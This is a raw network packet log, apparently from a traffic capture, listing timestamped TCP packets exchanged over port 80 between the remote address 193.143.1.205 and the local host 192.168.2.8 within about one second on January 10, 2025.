Jan 10, 2025 23:46:03.474716902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.474740028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.474776983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.479326963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.480618954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.480635881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.480649948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.480654955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.480660915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.480678082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.480725050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.480739117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.480762959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.480762959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.480768919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.480781078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.480808973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.480808973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.483711004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.494313002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.511430979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.511701107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.519541025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.519557953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.519782066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.520566940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.556925058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.556943893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.556962967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.556976080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.556987047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.556998968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557018042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557048082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.557048082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.557110071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.557120085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557132959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557145119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557173967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.557188034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557245016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557256937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557275057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.557291031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557300091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.557302952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557364941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.557468891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557481050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557492971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557506084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.557533026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.557533026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.594278097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594306946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594319105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594337940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594350100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594350100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.594362974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594386101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.594450951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.594456911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594494104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594496012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.594516993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594558001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594569921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594588995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.594624996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.594662905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594681978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594727039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594731092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.594739914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594755888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594780922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.594861984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594906092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594912052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.594919920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594975948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.594990969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595091105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595148087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595149040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595166922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595180988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595206022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595223904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595252991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595271111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595350027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595396996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595410109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595438004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595448017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595457077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595460892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595498085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595499992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595534086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595583916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595592022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595597029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595621109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595666885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595694065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595705032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595716953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595729113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595735073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595760107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595772982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.595803022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.595840931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.596013069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.596065044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.596077919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.596080065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.596110106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.596127033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.596138000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.596153975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.596168995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.596175909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.596188068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.596218109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599185944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599205971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599216938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599229097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599241972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599247932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599256039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599267006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599278927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599278927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599280119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599296093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599327087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599338055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599344015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599350929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599395037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599407911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599421024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599442959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599442959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599721909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599766970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599785089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599797964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599808931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599808931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599841118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599847078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599858999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599874020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599878073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599893093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599904060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599910975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599935055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.599951029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.599998951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.600219011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600265980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600279093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600325108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.600368023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600378990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600390911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600402117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600413084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600424051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.600424051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.600490093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.600522041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600533009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600543976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600555897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600569010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600579977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600599051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.600599051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.600672960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.600924969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600938082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600986004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.600997925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.601008892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.601017952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.601031065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.601046085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.601049900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.601058006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.601068974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.601084948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.601097107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.602890968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.660763979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660789013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660801888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660811901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660835028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660849094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660861969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660875082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660885096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660892010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660928965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660942078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660954952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.660962105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.660962105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.660993099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.661057949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.661070108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.661079884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.661093950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.661102057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.661106110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.661117077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.661130905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.661138058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.661138058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.661175966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.682784081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.682826042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.682838917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.682858944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.682873011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.682935953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.682950020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.682976007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.682976007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.682981014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.682993889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683106899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.683183908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683229923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.683310986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683383942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683398008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683422089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.683459997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683471918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683484077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683517933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.683517933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.683696985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683762074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683794022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683801889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.683861971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683873892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683886051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683923960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.683923960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.683952093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683964014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683974981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.683991909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684005022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684021950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684021950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684026003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684103966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684179068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684190989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684201956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684227943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684243917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684251070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684268951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684420109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684468985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684514999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684562922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684562922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684571981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684611082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684653044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684693098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684721947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684786081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684792995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684808016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684820890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684839964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684851885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684878111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684878111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684892893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684906006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.684936047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.684942007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685005903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685017109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685018063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685028076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685055017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685081959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685087919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685123920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685151100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685235023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685235023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685266972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685378075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685431004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685442924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685460091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685470104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685470104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685472965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685519934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685532093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685543060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685560942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685560942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685631037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685672045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685719967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685801029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685813904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685844898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685851097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685851097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685900927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685923100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685949087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.685957909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.685990095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.686022043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:46:03.686022997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.686037064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:46:03.686059952 CET	80	49705	193.143.1.205	192.168.2.8
